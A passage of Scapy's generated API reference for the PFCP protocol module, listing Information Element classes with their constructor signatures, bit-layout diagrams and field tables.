	BitField (Cond) (3 bits)

	0



	svid_value_low

	ByteField (Cond)

	0



	spare_5

	ByteField (Cond)

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 135

	








	
class scapy.contrib.pfcp.IE_SequenceNumber(_pkt, /, *, ietype=0, length=None, number=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1132-L1137]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             NUMBER                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. IE_SequenceNumber                      


IE_SequenceNumber fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	number

	IntField

	0











	
ie_type = 52

	








	
class scapy.contrib.pfcp.IE_SourceInterface(_pkt, /, *, ietype=0, length=None, spare=0, interface=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L724-L731]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| SPARE |INTERFA|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. IE_SourceInterface                      


IE_SourceInterface fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	spare

	XBitField  (4 bits)

	0



	interface

	BitEnumField

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 20

	








	
class scapy.contrib.pfcp.IE_StartTime(_pkt, /, *, ietype=0, length=None, timestamp=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1428-L1434]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           TIMESTAMP                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. IE_StartTime                         


IE_StartTime fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	timestamp

	IntField

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 75

	








	
class scapy.contrib.pfcp.IE_SubsequentEventQuota(_pkt, /, *, ietype=0, length=None, subsequent_event_quota=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2139-L2145]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     SUBSEQUENT EVENT QUOTA                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. IE_SubsequentEventQuota                   


IE_SubsequentEventQuota fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	subsequent_event_quota

	IntField

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 150

	








	
class scapy.contrib.pfcp.IE_SubsequentEventThreshold(_pkt, /, *, ietype=0, length=None, subsequent_event_threshold=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2148-L2154]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                   SUBSEQUENT EVENT THRESHOLD                  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. IE_SubsequentEventThreshold                 


IE_SubsequentEventThreshold fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	subsequent_event_threshold

	IntField

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 151

	








	
class scapy.contrib.pfcp.IE_SubsequentTimeQuota(_pkt, /, *, ietype=0, length=None, quota=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1871-L1877]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             QUOTA                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. IE_SubsequentTimeQuota                    


IE_SubsequentTimeQuota fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	quota

	IntField

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 122

	








	
class scapy.contrib.pfcp.IE_SubsequentTimeThreshold(_pkt, /, *, ietype=0, length=None, threshold=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L909-L915]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           THRESHOLD                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. IE_SubsequentTimeThreshold                  


IE_SubsequentTimeThreshold fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	threshold

	IntField

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 35

	








	
class scapy.contrib.pfcp.IE_SubsequentVolumeQuota(_pkt, /, *, ietype=0, length=None, spare=0, DLVOL=0, ULVOL=0, TOVOL=0, total=0, uplink=0, downlink=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1856-L1868]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  SPARE  |D|U|T|                     TOTAL                     |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     UPLINK                    |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                    DOWNLINK                   |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. IE_SubsequentVolumeQuota                   


IE_SubsequentVolumeQuota fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	spare

	XBitField  (5 bits)

	0



	DLVOL

	BitField  (1 bit)

	0



	ULVOL

	BitField  (1 bit)

	0



	TOVOL

	BitField  (1 bit)

	0



	total

	XLongField (Cond)

	0



	uplink

	XLongField (Cond)

	0



	downlink

	XLongField (Cond)

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 121

	








	
class scapy.contrib.pfcp.IE_SubsequentVolumeThreshold(_pkt, /, *, ietype=0, length=None, spare=0, DLVOL=0, ULVOL=0, TOVOL=0, total=0, uplink=0, downlink=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L894-L906]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  SPARE  |D|U|T|                     TOTAL                     |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     UPLINK                    |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                    DOWNLINK                   |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. IE_SubsequentVolumeThreshold                 


IE_SubsequentVolumeThreshold fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	spare

	XBitField  (5 bits)

	0



	DLVOL

	BitField  (1 bit)

	0



	ULVOL

	BitField  (1 bit)

	0



	TOVOL

	BitField  (1 bit)

	0



	total

	XLongField (Cond)

	0



	uplink

	XLongField (Cond)

	0



	downlink

	XLongField (Cond)

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 34

	








	
class scapy.contrib.pfcp.IE_SuggestedBufferingPacketsCount(_pkt, /, *, ietype=0, length=None, count=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2034-L2040]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     COUNT     |           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. IE_SuggestedBufferingPacketsCount              


IE_SuggestedBufferingPacketsCount fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	count

	ByteField

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 140

	








	
class scapy.contrib.pfcp.IE_TimeOfFirstPacket(_pkt, /, *, ietype=0, length=None, timestamp=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1362-L1368]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           TIMESTAMP                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. IE_TimeOfFirstPacket                     


IE_TimeOfFirstPacket fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	timestamp

	IntField

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 69

	








	
class scapy.contrib.pfcp.IE_TimeOfLastPacket(_pkt, /, *, ietype=0, length=None, timestamp=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1371-L1377]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           TIMESTAMP                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. IE_TimeOfLastPacket                     


IE_TimeOfLastPacket fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	timestamp

	IntField

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 70

	








	
class scapy.contrib.pfcp.IE_TimeQuota(_pkt, /, *, ietype=0, length=None, quota=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1419-L1425]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             QUOTA                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. IE_TimeQuota                         


IE_TimeQuota fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	quota

	IntField

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 74

	








	
class scapy.contrib.pfcp.IE_TimeQuotaMechanism(_pkt, /, *, ietype=0, length=None, spare=0, base_time_interval_type=0, interval=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1789-L1797]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   SPARE   |BAS|                    INTERVAL                   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. IE_TimeQuotaMechanism                    


IE_TimeQuotaMechanism fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	spare

	XBitField  (6 bits)

	0



	base_time_interval_type

	BitEnumField

	0



	interval

	IntField

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 115

	








	
class scapy.contrib.pfcp.IE_TimeThreshold(_pkt, /, *, ietype=0, length=None, threshold=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L876-L882]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           THRESHOLD                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. IE_TimeThreshold                       


IE_TimeThreshold fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	threshold

	IntField

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 32

	








	
class scapy.contrib.pfcp.IE_Timer(_pkt, /, *, ietype=0, length=None, timer_unit=0, timer_value=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1148-L1155]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|TIMER|TIMER VAL|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. IE_Timer                           


IE_Timer fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	timer_unit

	BitEnumField

	0



	timer_value

	BitField  (5 bits)

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 55

	








	
class scapy.contrib.pfcp.IE_TraceInformation(_pkt, /, *, ietype=0, length=None, mcc_digit_2=0, mcc_digit_1=0, mnc_digit_3=0, mcc_digit_3=0, mnc_digit_2=0, mnc_digit_1=0, trace_id=0, triggering_events_length=None, triggering_events=b'', session_trace_depth=0, list_of_interfaces_length=None, list_of_interfaces=b'', ip_address_length=None, ip_address=b'', extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2157-L2184]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|MCC DIG|MCC DIG|MNC DIG|MCC DIG|MNC DIG|MNC DIG|    TRACE ID   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |TRIGGERING EVEN|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       TRIGGERING EVENTS       |SESSION TRACE D|LIST OF INTERFA|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       LIST OF INTERFACES      |IP ADDRESS LENG|   IP ADDRESS  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. IE_TraceInformation                     


IE_TraceInformation fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	mcc_digit_2

	BitField  (4 bits)

	0



	mcc_digit_1

	BitField  (4 bits)

	0



	mnc_digit_3

	BitField  (4 bits)

	0



	mcc_digit_3

	BitField  (4 bits)

	0



	mnc_digit_2

	BitField  (4 bits)

	0



	mnc_digit_1

	BitField  (4 bits)

	0



	trace_id

	ThreeBytesField

	0



	triggering_events_length

	FieldLenField

	None



	triggering_events

	StrLenField

	b''



	session_trace_depth

	ByteField

	0



	list_of_interfaces_length

	FieldLenField

	None



	list_of_interfaces

	StrLenField

	b''



	ip_address_length

	FieldLenField

	None



	ip_address

	StrLenField

	b''



	extra_data

	ExtraDataField

	b''











	
ie_type = 152

	








	
class scapy.contrib.pfcp.IE_TrafficEndpointId(_pkt, /, *, ietype=0, length=None, id=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1919-L1925]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       ID      |           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. IE_TrafficEndpointId                     


IE_TrafficEndpointId fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	id

	ByteField

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 131

	








	
class scapy.contrib.pfcp.IE_TransportLevelMarking(_pkt, /, *, ietype=0, length=None, tos=0, traffic_class=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L851-L858]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TOS      | TRAFFIC CLASS |           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. IE_TransportLevelMarking                   


IE_TransportLevelMarking fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	tos

	XByteField

	0



	traffic_class

	XByteField

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 30

	








	
class scapy.contrib.pfcp.IE_UE_IP_Address(_pkt, /, *, ietype=0, length=None, spare=0, SD=0, V4=0, V6=0, ipv4=0, ipv6=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1548-L1559]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  SPARE  |S|V|V|                      IPV4                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      IPV6                     |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. IE_UE_IP_Address                       


IE_UE_IP_Address fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	spare

	XBitField  (5 bits)

	0



	SD

	BitField  (1 bit)

	0



	V4

	BitField  (1 bit)

	0



	V6

	BitField  (1 bit)

	0



	ipv4

	IPField (Cond)

	0



	ipv6

	IP6Field (Cond)

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 93

	








	
class scapy.contrib.pfcp.IE_UPFunctionFeatures(_pkt, /, *, ietype=0, length=None, TREU=None, HEEU=None, PFDM=None, FTUP=None, TRST=None, DLBD=None, DDND=None, BUCP=None, spare=None, PFDE=None, FRRT=None, TRACE=None, QUOAC=None, UDBC=None, PDIU=None, EMPU=None, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1004-L1030]

	Bases: IE_Base


	
aliastypes

	




	
default_length = 2

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|T|H|P|F|T|D|D|B|S|P|F|T|Q|U|P|E|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. IE_UPFunctionFeatures                    


IE_UPFunctionFeatures fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	TREU

	BitField (Cond) (1 bit)

	None



	HEEU

	BitField (Cond) (1 bit)

	None



	PFDM

	BitField (Cond) (1 bit)

	None



	FTUP

	BitField (Cond) (1 bit)

	None



	TRST

	BitField (Cond) (1 bit)

	None



	DLBD

	BitField (Cond) (1 bit)

	None



	DDND

	BitField (Cond) (1 bit)

	None



	BUCP

	BitField (Cond) (1 bit)

	None



	spare

	BitField (Cond) (1 bit)

	None



	PFDE

	BitField (Cond) (1 bit)

	None



	FRRT

